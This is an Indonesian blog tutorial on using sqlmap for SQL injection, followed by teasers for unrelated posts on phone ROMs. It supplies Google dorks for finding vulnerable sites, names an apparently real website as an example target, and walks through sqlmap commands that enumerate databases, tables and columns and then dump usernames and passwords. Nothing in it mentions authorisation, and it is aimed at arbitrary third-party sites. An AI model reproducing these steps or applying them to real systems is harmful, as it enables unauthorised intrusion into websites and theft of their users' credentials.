Tutorial sql injection menggunakan sqlmap di kali linux dan windows

assalamualaikum...........

ohhya sebelum memulai saya kasih penjelasan dulunih apa itu sqlmap.

SQLMAP adalah penetrasi open source pengujian alat yang mengotomatisasi proses mendeteksi dan mengeksploitasi kelemahan SQL injection dan mengambil alih server database.

nahhh udah tau kan apa itu sqlmap :

kalau gitu langsung ke tkp aja,

alat tempur buat windows
python
sqlmap

TUTORIAL kedua file di atas :
1. install phyton seperti biasa, dan extrak sqlmap dan save ke drive C;
    contoh :
    
2. cari website yang vuln terhadap sqli, untuk mencarinya masukan dork berikut :
inurl:games.php?id= 
inurl:page.php?file= 
inurl:newsDetail.php?id= 
inurl:gallery.php?id= 
inurl:article.php?id= 
inurl:show.php?id= 
inurl:staff_id= 
inurl:newsitem.php?num= 
inurl:readnews.php?id= 
inurl:top10.php?cat= 
inurl:historialeer.php?num= 
inurl:reagir.php?num= 
inurl:Stray-Questions-View.php?num= 
inurl:forum_bds.php?num= 
inurl:game.php?id= 
inurl:view_product.php?id= 
inurl:newsone.php?id= 
inurl:sw_comment.php?id= 
inurl:news.php?id= 
inurl:avd_start.php?avd= 
inurl:event.php?id=  
inurl:product-item.php?id= 
inurl:sql.php?id= 

3. setelah mendapatkan target masukan tanda ( ' ) pada akhir url misal http://www.woodbridgeparty.com/products.php?id=111 dan masukan tanda ( ' ) pada akhir url menjadi http://www.woodbridgeparty.com/products.php?id=111' nah jika websitenya retan terhadap sqli maka akan ada tulisan YOU HAVE AN ERROR SQL BLA BLA BLA :D
4. buka CMD dan masukan perintah
cd /sqlmap (enter)
sqlmap.py -u (url website vuln) --dbs ( enter )
tunggu sampai sqlmap mendapatkan informasi database website seperti berikut 
5. selanjutnya mencari tabel dari website, pada comand prompt masukan perintah
   sqlmap.py -u (url website vuln) -D namadatabase --tables, dan tunggu sampai tabel muncul.
   contoh :
6. next, masukan perintah ini pada comand prompt :
    sqlmap.py -u (url website vuln) -D namadatabase -T namatables --columns
    contoh :
7.terakhir, masukan perintah ini :
   sqlmap.py -u (url web vuln) -D namadataase -T namatabel -C namacolumns --dump 
   contoh :


8. setelah semua toturial di atas di ikut maka akan muncul username dan password seperti ini
 

untuk menjalankan sqlmap pada kali linux agan tinggal buka terminal dan ketik SQLMAP, perintahnya sama seperti tutorial diatas

SELESAI

 


Komentar

Posting Komentar

Postingan populer dari blog ini

Install Android 7.1 nougat on Xiaomi Redmi Note 2

ORANGMILITER         Bertukaran smart phone dengan istri saya membuat saya terpaksa menggunakan kembali Xiaomi Redmi Note 2 saya dulu, dibalik tukar-tukaran ini ada niat membeli smart phone rilisan xiaomi baru-baru ini, walau niatnya membeli yang baru untuk digunakan istri saya, ya mau gimana lagi orangnya ndak mau :D. pada device saya sekarang saya menggunakan lineageOS-14.1 dimana sekarang terpasang Android 7.1 nougat, pemasangan ini bukan karna bosan dengan tampilan miui, melainkan pada versi Androin 5.0 lolipop di xiaomi redmi note 2 terjadi banyak masalah , seperti tidak bisa memperbaharui android webview , memasang aplikasi ojek online, memperbaharui google chrome dan lain sebagainya.              Pemasangan Android 7.1 Nougat (lineageOS-14.1) tidak lah sulit, cukup rooting device anda pasang TWRP dan flash lineageOS dan gapps, atau dengan mengkiti cara berikut : kebutuhan : Downlad lineageOS  disini ...
Read more »

Build Kali NetHunter For Xiaomi Redmi Note 2

"0RAN9M1L1T3R" Jum'at, 24/03/2016, Setelah beberapa hari gagal update ./bootstrap.sh pada kali nethunter di karenakan koneksi jaringan, dan sore tadi perintah itu di jalankan dan sukses membuat file installler kali nethunter untu device saya, tidak mau basa basi dengan omongan tidak jelas saya di atas mari kita mulai bagai mana cara build kali nethunter ini : 1. buka terminal linux anda dan jalankan perintah berikut git clone https://github.com/offensive-security/kali-nethunter.git 2. masuk ke folder nethunter-installer cd kali-nethunter/nethunter-installer/ 3. jalankan file bootstrap.sh pilih {Y} dan tunggu sampai selesai ./bootstrap.sh setelah menjalankan file bootstrap.sh kita tidak langsung mejalankan file build.py dikarenakan device yang ingin kita pasang tidak terdaftar pada bagian device, untuk mengakalinya kita buat satu folder kosong pada bagian device dan jenis os dengan memasukan codename android kita, contoh note 2 adalah hermes kita buat folder denga...
Read more »